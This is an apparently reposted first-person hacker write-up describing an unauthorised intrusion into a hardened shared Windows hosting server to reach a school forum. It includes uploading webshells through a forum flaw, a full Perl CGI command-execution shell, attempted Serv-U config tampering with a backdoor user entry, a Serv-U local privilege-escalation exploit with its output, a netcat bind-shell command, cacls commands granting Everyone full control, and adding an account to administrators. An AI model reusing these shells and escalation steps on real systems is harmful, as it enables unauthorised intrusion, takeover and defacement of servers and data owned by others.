欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

黑客谈对一台BT主机的入侵过程

程序员文章站 2022-03-29 15:54:14
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑... 08-10-08...
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢xiaolu 了。   一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、*的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。   不过国内的也有比较 bt 的管理员,我就遇见几个服务器设置得非常。其中一个的 documents and settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
  一次看见了一个学校论坛(http://www.*****.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 request timed out. 估计是搞了策略或者防火墙的,象我这种以 web 安全的,自然喜欢从站点上找漏洞,自从学习 web 开始,我就落下一个怪癖,就是如果实在从 web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
  大概看了看站点。就是一个论坛,采用 leadbbs ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 ip ,返回“no web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 ip 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 dvbbs 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 nfso ,手工跳转 url 中的目录,也没有多少个可以浏览的,重要的 program files 和 documents and settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。   没有目的的跳转目录着……   我习惯性的在 url 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 bt,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “d:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……   结束了吗?不,我试着 ftp 一下: microsoft windows 2000 [version 5.00.2195]
(c) 版权所有 1985-2000 microsoft corp.
c:\documents and settings\administrator>ftp www.*****.com
connected to www. school.com.
220 welcome to ftp server...
user (www.bjtrq.com:(none)):
331 user name okay, need password.
password:
530 not logged in.
login failed.
ftp> bye
221 goodbye!

  从返回的信息判断,我们还是有希望的。尽管他修改了 ftp server 的 banner,但是从 user name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 serv-u ,我上手有目前所有版本 serv-u 本地提升权限的 exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 原来我还忘记了一个最重要的目录, c:\documents and settings\all users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 application data documents drm favorites templates 「开始」菜单 桌面   马上试试建目录,可惜里面的目录包括子目录都无法新建, bt 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “c:\documents and settings\all users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, activestate activeperl 5.8
administrative tools
deerfield.com
dtemp
ipsentry
mbm 5
netmeter
network ice
persits software aspemail
persits software aspjpeg
serv-u ftp server
symantec client security
windows 优化大师
winrar
启动
管理工具
附件
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 perl,也就是说可能支持 cgi 了, ipsentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 pager, 或 email,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,netmeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——visnetic firewall,真是 bt 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。   先通过 aspshell 下载 serv-u 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 serv-u 的目录是 "c:\program filesewfq4qrqtgy4635\serv-u\" ,这下好了,直接跳转目录。oh~,yes~~,看到了,马上修改 servudaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [domain1] 里加一行: user281=angel|1|0   然后加上 [user=angel|1]
password=ng98f85379ea68dbf97baadca99b69b805
homedir=d:\websites
relpaths=1
timeout=600
maintenance=system
access1=d:\websites|rwamelcdp
skeyvalues=

  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……   不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。   不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“iss realsecure/blackice 协议分析模块 smb 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 还有就是 perl,这个是个很大的突破口,因为 perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 perl 的快捷方式来看看路径,呵呵,看到了,原来 d:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 serv-u 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: #!/usr/bin/perl
binmode(stdout);
syswrite(stdout, "content-type: text/html\r\n\r\n", 27);
= $env{query_string}; s/ / /ig; s///\//ig; $execthis = ; syswrite(stdout, "<html><pre>\r\n", 13); open(stderr, ">&stdout") || die "can’t redirect stderr"; system($execthis); syswrite(stdout, "\r\n</pre></html>\r\n", 17); close(stderr); close(stdout); exit;

  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!   显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: http://anyhost//cmd.pl?d:\user\bin\su.exe   返回: serv-u >3.x local exploit by xiaolu usage: serv-u.exe "command" example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"   嘻嘻~~现在是 iusr 权限,那又怎么样?看你这次还不死?提交: http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.ex ... t /g everyone:f" http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.ex ... t /g everyone:f" http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.ex ... t /g everyone:f" http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.ex ... t /g everyone:f"   返回下面的信息,就表示成功了!!! serv-u >3.x local exploit by xiaolu
<220 serv-u ftp server v5.2 for winsock ready...
>user localadministrator
<331 user name okay, need password.
******************************************************
>pass #l@$ak#.lk;0@p
<230 user logged in, proceed.
******************************************************
>site maintenance
******************************************************
[ ] creating new domain...
<200-domainid=2
<220 domain settings saved
******************************************************
[ ] domain xl:2 created
[ ] creating evil user
<200-user=xl
200 user settings saved
******************************************************
[ ] now exploiting...
>user xl
<331 user name okay, need password.
******************************************************
>pass 111111
<230 user logged in, proceed.
******************************************************
[ ] now executing: cacls.exe c: /e /t /g everyone:f
<220 domain deleted
******************************************************

  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:   http://anyhost//cmd.pl?d:\user\bin\su.exe " net l ... s iusr_anyhost /add"   现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 bt 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。   说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。